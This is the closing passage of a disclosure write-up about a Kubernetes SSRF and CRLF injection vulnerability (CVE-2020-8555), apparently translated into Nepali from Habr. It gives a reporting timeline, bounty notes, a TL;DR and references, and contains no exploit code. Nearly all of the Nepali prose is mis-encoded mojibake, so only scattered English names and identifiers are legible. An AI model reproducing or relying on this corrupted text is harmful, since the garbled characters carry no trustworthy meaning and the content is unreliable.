- рдЬрдирд╡рд░реА рей, реирежреиреж: рдПрдХ рддреЗрд╕реНрд░реЛ рдкрдХреНрд╖рд▓реЗ Kubernetes рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛рд╣рд░реВрд▓рд╛рдИ рд╣рд╛рдореА рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджрд╛рдорд╛ рдХрд╛рдо рдЧрд░рд┐рд░рд╣реЗрдХрд╛ рдЫреМрдВ рднрдиреА рдЬрд╛рдирдХрд╛рд░реА рдЧрд░рд╛рдпреЛред рд░ рддрд┐рдиреАрд╣рд░реВрд▓рд╛рдИ SSRF рд▓рд╛рдИ рдЖрдиреНрддрд░рд┐рдХ (рдЗрди-рдХреЛрд░) рдЬреЛрдЦрд┐рдордХреЛ рд░реВрдкрдорд╛ рд╡рд┐рдЪрд╛рд░ рдЧрд░реНрди рднрдиреНрдпреЛред рд╣рд╛рдореАрд▓реЗ рддреНрдпрд╕рдкрдЫрд┐ рд╕рдорд╕реНрдпрд╛рдХреЛ рд╕реНрд░реЛрддрдХреЛ рдмрд╛рд░реЗрдорд╛ рдкреНрд░рд╛рд╡рд┐рдзрд┐рдХ рд╡рд┐рд╡рд░рдгрд╣рд░реВ рд╕рд╣рд┐рдд рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд░рд┐рдкреЛрд░реНрдЯ рдкреНрд░рджрд╛рди рдЧрд░реНрдпреМрдВред
- рдЬрдирд╡рд░реА 15, 2020: рд╣рд╛рдореАрд▓реЗ Kubernetes рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛рд╣рд░реВрд▓рд╛рдИ рдЙрдиреАрд╣рд░реВрдХреЛ рдЕрдиреБрд░реЛрдзрдорд╛ (HackerOne рдкреНрд▓реЗрдЯрдлрд░реНрдо рдорд╛рд░реНрдлрдд) рдкреНрд░рд╛рд╡рд┐рдзрд┐рдХ рд░ рд╕рд╛рдорд╛рдиреНрдп рд░рд┐рдкреЛрд░реНрдЯрд╣рд░реВ рдкреНрд░рджрд╛рди рдЧрд░реНтАНрдпреМрдВред
- рдЬрдирд╡рд░реА 15, 2020: Kubernetes рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛рд╣рд░реВрд▓реЗ рд╣рд╛рдореАрд▓рд╛рдИ рд╡рд┐рдЧрддрдХрд╛ рд░рд┐рд▓реАрдЬрд╣рд░реВрдХрд╛ рд▓рд╛рдЧрд┐ рд╣рд╛рдл-рдмреНрд▓рд╛рдЗрдиреНрдб SSRF + CRLF рдЗрдиреНрдЬреЗрдХреНрд╕рдирд▓рд╛рдИ рдЗрди-рдХреЛрд░ рдЬреЛрдЦрд┐рдо рдорд╛рдирд┐рдиреНрдЫ рднрдиреЗрд░ рд╕реВрдЪрд┐рдд рдЧрд░реЗред рд╣рд╛рдореАрд▓реЗ рддреБрд░реБрдиреНрддреИ рдЕрдиреНрдп рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рдпрдХрд╣рд░реВрдХреЛ рдкрд░рд┐рдзрд┐рдХреЛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЧрд░реНрди рдмрдиреНрдж рдЧрд░реНрдпреМрдВ: K8s рдЯреЛрд▓реАрд▓реЗ рдЕрдм рдореВрд▓ рдХрд╛рд░рдгрд╕рдБрдЧ рдХрд╛рдо рдЧрд░рд┐рд░рд╣реЗрдХреЛ рдерд┐рдпреЛред
- рдЬрдирд╡рд░реА 15, 2020: MSRC рдЗрдирд╛рдо HackerOne рдорд╛рд░реНрдлрдд рдкреНрд░рд╛рдкреНрдд рднрдпреЛред
- рдЬрдирд╡рд░реА 16, 2020: Kubernetes PSC (рдЙрддреНрдкрд╛рджрди рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд┐рддрд┐) рд▓реЗ рдЬреЛрдЦрд┐рдо рдкрд╣рд┐рдЪрд╛рди рдЧрд░реНтАНрдпреЛ рд░ рд╕рдореНрднрд╛рд╡рд┐рдд рдкреАрдбрд┐рддрд╣рд░реВрдХреЛ рдареВрд▓реЛ рд╕рдВрдЦреНрдпрд╛рдХреЛ рдХрд╛рд░рдгрд▓реЗ рдорд╛рд░реНрдЪрдХреЛ рдордзреНрдпрд╕рдореНрдо рдЧреЛрдкреНрдп рд░рд╛рдЦреНрди рднрдиреНрдпреЛред
- рдлреЗрдмреНрд░реБрдЕрд░реА 11, 2020: Google VRP рдкреБрд░рд╕реНрдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рднрдпреЛред
- рдорд╛рд░реНрдЪ рек, реирежреиреж: HackerOne рдорд╛рд░реНрдлрдд Kubernetes рдкреБрд░рд╕реНрдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рднрдпреЛред
- рдорд╛рд░реНрдЪ 15, 2020: рдореВрд▓ рд░реВрдкрдорд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЦреБрд▓рд╛рд╕рд╛ COVID-19 рд╕реНрдерд┐рддрд┐рдХреЛ рдХрд╛рд░рдг рд╕реНрдердЧрд┐рдд рдЧрд░рд┐рдпреЛред
- рдЬреБрди 1, 2020: рдХреБрдмрд░реНрдиреЗрдЯреНрд╕ + рдорд╛рдЗрдХреНрд░реЛрд╕рдлреНрдЯрд▓реЗ рдЬреЛрдЦрд┐рдордХреЛ рдмрд╛рд░реЗрдорд╛ рд╕рдВрдпреБрдХреНрдд рдХрдердиред
TL; рдб
- рд╣рд╛рдореА рдмрд┐рдпрд░ рдкрд┐рдЙрдиреНрдЫреМрдВ рд░ рдкрд┐рдЬреНрдЬрд╛ рдЦрд╛рдиреНрдЫреМрдВ :)
- рд╣рд╛рдореАрд▓реЗ Kubernetes рдорд╛ рдПрдЙрдЯрд╛ рдЗрди-рдХреЛрд░ рднреЗрджреНрдпрддрд╛ рдкрддреНрддрд╛ рд▓рдЧрд╛рдпреМрдВ, рдпрджреНрдпрдкрд┐ рд╣рд╛рдореАрд▓реЗ рддреНрдпрд╕реЛ рдЧрд░реНрдиреЗ рдХреБрдиреИ рдЗрд░рд╛рджрд╛ рдерд┐рдПрдиред
- рд╣рд╛рдореАрд▓реЗ рд╡рд┐рднрд┐рдиреНрди рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрд╣рд░реВрдХреЛ рдХреНрд▓рд╕реНрдЯрд░рд╣рд░реВрдорд╛ рдердк рд╡рд┐рд╢реНрд▓реЗрд╖рдгрд╣рд░реВ рд╕рдЮреНрдЪрд╛рд▓рди рдЧрд░реНрдпреМрдВ рд░ рдердк рдЕрджреНрднреБрдд рдмреЛрдирд╕рд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рдЬреЛрдЦрд┐рдордХреЛ рдХрд╛рд░рдгрд▓реЗ рдЧрд░реНрджрд╛ рд╣реБрдиреЗ рдХреНрд╖рддрд┐ рдмрдврд╛рдЙрди рд╕рдХреНрд╖рдо рдерд┐рдпреМрдВред
- рддрдкрд╛рдИрдВрд▓реЗ рдпрд╕ рд▓реЗрдЦрдорд╛ рдзреЗрд░реИ рдкреНрд░рд╛рд╡рд┐рдзрд┐рдХ рд╡рд┐рд╡рд░рдгрд╣рд░реВ рдкрд╛рдЙрдиреБрд╣реБрдиреЗрдЫред рд╣рд╛рдореА рддрд┐рдиреАрд╣рд░реВрд╕рдБрдЧ рддрдкрд╛рдИрдВрд╕рдБрдЧ рдЫрд▓рдлрд▓ рдЧрд░реНрди рдкрд╛рдЙрдБрджрд╛ рдЦреБрд╕реА рд╣реБрдиреЗрдЫреМрдВ (рдЯреНрд╡рд┐рдЯрд░:
@ReeverZax &@__hach_ ). - рд╕рдмреИ рдкреНрд░рдХрд╛рд░рдХрд╛ рдФрдкрдЪрд╛рд░рд┐рдХрддрд╛ рд░ рд░рд┐рдкреЛрд░реНрдЯрд┐рдЩрд▓реЗ рд╕реЛрдЪреЗрднрдиреНрджрд╛ рдзреЗрд░реИ рд╕рдордп рд▓рд┐рдпреЛ рднрдиреНрдиреЗ рдерд╛рд╣рд╛ рднрдпреЛред
рд╕рдиреНрджрд░реНрдн
-
рдЧреБрдЧрд▓ рд╕рдореВрд╣ kubernetes-рд╕реБрд░рдХреНрд╖рд╛-рдШреЛрд╖рдгрд╛ ; -
CVE-2020-8555 ; -
рдЧреЛрд▓рд╛рдЩ рдЕрдВрдХ #рейрежренрепрек ; -
heketi/client/api/go-client/volume.go .
рдЕрдиреБрд╡рд╛рджрдХрдмрд╛рдЯ PS
рд╣рд╛рдореНрд░реЛ рдмреНрд▓рдЧрдорд╛ рдкрдирд┐ рдкрдвреНрдиреБрд╣реЛрд╕реН:
- ┬л
Kubernetes рдмрдЧ рд╢рд┐рдХрд╛рд░ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рд░реВрдкрдорд╛ рдЦреБрд▓рд╛ рдЫ ┬╗; - ┬л
рд▓рдЧрд╣рд░реВ рдорд╛рдЙрдиреНрдЯ рдЧрд░реЗрд░ Kubernetes рдорд╛ рдкреЛрдбрдмрд╛рдЯ рдмрд╛рд╣рд┐рд░ рдирд┐рд╕реНрдХрдБрджреИ ┬╗; - ┬л
33+ Kubernetes рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрдХрд░рдгрд╣рд░реВ "ред
рд╕реНрд░реЛрдд: www.habr.com